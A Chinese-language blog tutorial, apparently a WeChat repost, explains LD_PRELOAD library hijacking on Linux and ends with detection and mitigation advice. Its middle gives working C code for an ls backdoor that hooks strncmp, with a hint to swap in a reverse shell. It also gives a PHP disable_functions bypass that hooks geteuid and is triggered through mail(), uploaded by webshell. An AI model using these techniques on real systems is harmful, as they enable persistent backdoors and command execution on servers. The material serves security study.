前言
今天看到了一篇关于通过ld_preload劫持实现后门的文章,为了搞清楚ld_preload的原理,就有了这篇文章。
由于本人水平有限,文章中可能会出现一些错误,欢迎各位大佬指正,感激不尽。如果有什么好的想法也欢迎交流~~
LD_PRELOAD简介
LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
程序的链接方式
上面说了LD_PRELOAD可以影响程序的运行时的链接,那么链接的方式都有哪些呢?
程序的链接可以分为以下三种
- 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
- 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
静态链接库,在 Linux 下文件名后缀为 .a,如 libstdc++.a 。在编译链接时直接将目标代码加入可执行程序。
动态链接库,在 Linux 下是 .so 文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行真正的“链接”,所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库,则只需要加载一份到内存中共享。因此, 动态链接库也称共享库 或者共享对象。
动态链接库的文件名规则
libname.so.x.y.z lib:统一前缀。 so:统一后缀。 name:库名,如 libstdc++.so.6.0.21 的 name 就是 stdc++。 x: 主版本号 。表示库有重大升级,不同主版本号的库之间是不兼容的。如libstdc++.so.6.0.21 的主版本号是 6。 y: 次版本号 。表示库的增量升级,如增加一些新的接口。在主版本号相同的情况下, 高的次版本号向后兼容低的次版本号 。如 libstdc++.so.6.0.21 的次版本号是 0 。 z: 发布版本号 。表示库的优化、bugfix等。相同的主次版本号,不同的发布版本号的库之间 完全兼容 。如 libstdc++.so.6.0.21 的发布版本号是 21。
如何搜索动态链接库
编译目标代码时指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索); 环境变量 LD_LIBRARY_PATH 指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索); 配置文件 /etc/ld.so.conf 中指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索); 默认的动态库搜索路径 /lib; 默认的动态库搜索路径 /usr/lib;
加载顺序:LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib
程序中我们经常要调用一些外部库的函数,以rand为例,如果我们有个自定义的rand函数,把它编译成动态库后,通过LD_PRELOAD加载,当程序中调用rand函数时,调用的其实是我们自定义的函数
使用ld_proload函数的方式
1)编写要劫持函数的文件
PS:这里要求函数的名称,变量以及变量类型、返回值及返回值类型都要与要替换的函数完全一致。因此在写动态链接库之前要先看一下对应的函数手册。
2)编译成.so文件:gcc inject.c --shared -fPIC -o inject.so
$ gcc -shared -o hack.so hack.c
3)加载so文件
3.1)修改/etc/ld.so.preload配置文件。
3.2)设置变量:export LD_PRELOAD="./hack1.so" 设置以后通过env可以看到。
例子1:劫持gets() 函数
1)首先编写劫持函数文件hook.c
#include<stdio.h> #include<dlfcn.h> //用于搜索原函数
/* 要求:函数的形式必须和原函数一样(返回类型,函数名,函数参数)*/
char* gets(char* str){
/* 自定义的操作区域 */
printf("hook gets! str: %sn ",str);
/* 调用原函数*/
typeof(gets) *func;//函数指针
func=dlsym(RTLD_NEXT,"gets");//查找malloc函数位置 dlsym:在打开的动态库里找一个函数
return (*func)(str); //调用原函数执行
}
2)将文件编译成共享库
gcc hook.c -fPIC -shared -ldl -D_GNU_SOURCE -o hook.so
3)编写测试文件
#include <stdio.h>
int main(){
char str[20]="�";
printf("请输入n");
gets(str);
return 0;
}
正常执行时,结果如下
4)设置LD_PRELOAD
通过设置环境变量的方法
临时设置 export LD_PRELOAD = $PWD/hook.so
永久设置
修改 profile 文件 加入 export LD_PRELOAD=${YOUR PATH}/hook.so
修改 .bashrc 文件 加入 export LD_PRELOAD=${YOUR PATH}/hook.so
此时在执行刚才的测试文件,可以看到成功执行了我们的代码,说明劫持成功。
例子2:捕获所有socket函数
1)同样编写劫持函数inject.c
#include <stdio.h>
#include <sys/socket.h>
__attribute__ ((visibility("default"))) int socket(int family, int type, int protocol) {
printf("detect socket calln");
return -1;
}
__attribute__((constructor)) void main() {
printf("module inject successn");
}
2)生成共享库
gcc inject.c --shared -fPIC -o inject.so # 生成so库(*)
3)设置LD_PRELOAD环境变量
4)执行ping 127.0.0.1,显示注入成功
LD_PRELOAD的应用
LD_PRELOAD经常被用来编写后门文件以及绕过系统的函数执行限制。
1)编写后门文件
在操作系统中,命令行下的命令实际上是由一系列动态链接库驱动的,在 linux 中我们可以使用readelf -Ws 命令来查看,同时系统命令存储的路径为 /uer/bin
既然都是使用动态链接库,那么假如我们使用 LD_PRELOAD 替换掉系统命令会调用的动态链接库,那么我们是不是就可以利用系统命令调用动态链接库来实现我们写在 LD_PRELOAD 中的恶意动态链接库中恶意代码的执行了呢?
这也就是我们制作后门的原理,这里以 ls 为例作示范
我们来挑选一个操作起来比较方便的链接库,选择到 strncmp@GLIBC_2.2.5
编写链接库文件hook_strncmp.c
#include <stdlib.h> #include <stdio.h> #include <string.h>
void payload() {
system("id");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
编译&设置环境变量
gcc hook_strncmp.c --shared -fPIC -o hook_strncmp.so
执行ls,可以看到成功执行了我们写的的命令
同理,我们可以将id命令替换成反弹shell等操作,这样就可以完成一个后门的写入,当执行ls命令的时候,就会执行我们写入的命令。
2)绕过限制执行命令
在PHP中我们有时发现在php.ini中文件中使用disable_function选项禁用了命令执行有关的危险函数。如对disable_function进行如下配置:
disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,
那么我们即使发现了命令执行漏洞也无法利用。
利用ld_proload在一定的情况下可以绕过这个限制。
利用条件:
(1)没有禁用mail函数。
(2)站点根目录具有写文件权限
或其他目录具有写文件权限,并且可以在url上跳转到其他目录访问上传的php文件
或其他目录具有写文件权限,利用代码执行实现本地文件包含,包含最后要访问的php文件
利用方式:
(1)编写一个c文件,实现我们自己的动态链接程序
hack1.c #include <stdlib.h> #include <stdio.h> #include <string.h>
void payload(){
system("ls /var/www/html > /tmp/smity");
}
int geteuid()
{
if(getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD");
payload();
}
这里劫持了geteuid函数
(2)将带有系统命令的c文件hack1.c编译成为一个动态共享库,生成.so文件hack1.so
gcc -c -fPIC hack1.c -o hack1 gcc --share hack1 -o hack1.so
(3)写一个qwzf1.php文件,该文件的作用是设置LD_PRELOAD,并通过mail函数来触发.so文件。
qwzf1.php <?php putenv("LD_PRELOAD=/tmp/hack1.so"); /*目录/tmp下具有写权限*/ //putenv("LD_PRELOAD=./hack1.so"); /*假设站点根目录下具有写权限*/ mail('','','',''); //mail函数调用系统中的sendmail命令,sendmail二进制文件中使用了geteuid库函数。调用.so文件里的geteuid函数,实现覆盖geteuid函数。 ?>
(4)如果站点根目录有文件写入权限,直接利用代码执行(或蚁剑上传)在站点根目录传入hack1.so和qwzf1.php文件。访问php文件,就会运行刚才c文件里写的ls命令,最后就可以在/tmp/smity文件中看到ls的结果了。
然而,使用蚁剑上传hack1.so和qwzf1.php文件,发现站点根目录并没有文件写入权限。同时发现/tmp/目录具有文件写入权限。
于是我考虑使用蚁剑上传hack1.so和qwzf1.php文件到/tmp/目录下,然后利用代码执行实现文件包含漏洞包含qwzf1.php文件,实现访问php文件的效果:
?code=include('/tmp/qwzf1.php');
如何检测
1.因为是通过更改环境变量实现的加载恶意库文件,因此可以直接查看环境变量,如echo $LD_PRELOAD或者查看/etc/ld.so.preload配置文件中是否有内容
2.通过strace进行动态跟踪
strace可用来跟踪相应的库文件加载情况,这种方式是相对靠谱的方式。若担心strace这个命令被替换或被植入rootkit可以使用busybox来执行该命令。
不可否认,LD_PRELOAD是一个很难缠的问题。目前来说,要解决这个问题,只能想方设法让LD_PRELOAD失效。目前而言,有以下面两种方法可以让LD_PRELOAD失效。
- 通过静态链接。使用gcc的-static参数可以把libc.so.6静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。
- 通过设置执行文件的setgid/setuid标志。在有SUID权限的执行文件,系统会忽略LD_PRELOAD环境变量。也就是说,如果你有以root方式运行的程序,最好设置上SUID权限。
在一些UNIX版本上,如果要使用LD_PRELOAD环境变量,需要有root权限。但不管怎么说,这些个方法目前来看并不是一个彻底的解决方案,为了安全,只能禁用LD_PRELOAD。
参考链接
https://cloud.tencent.com/developer/article/1582075
https://blog.csdn.net/itworld123/article/details/125755603
原文始发于微信公众号(信安路漫漫):一文了解ld_preload库文件劫持
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论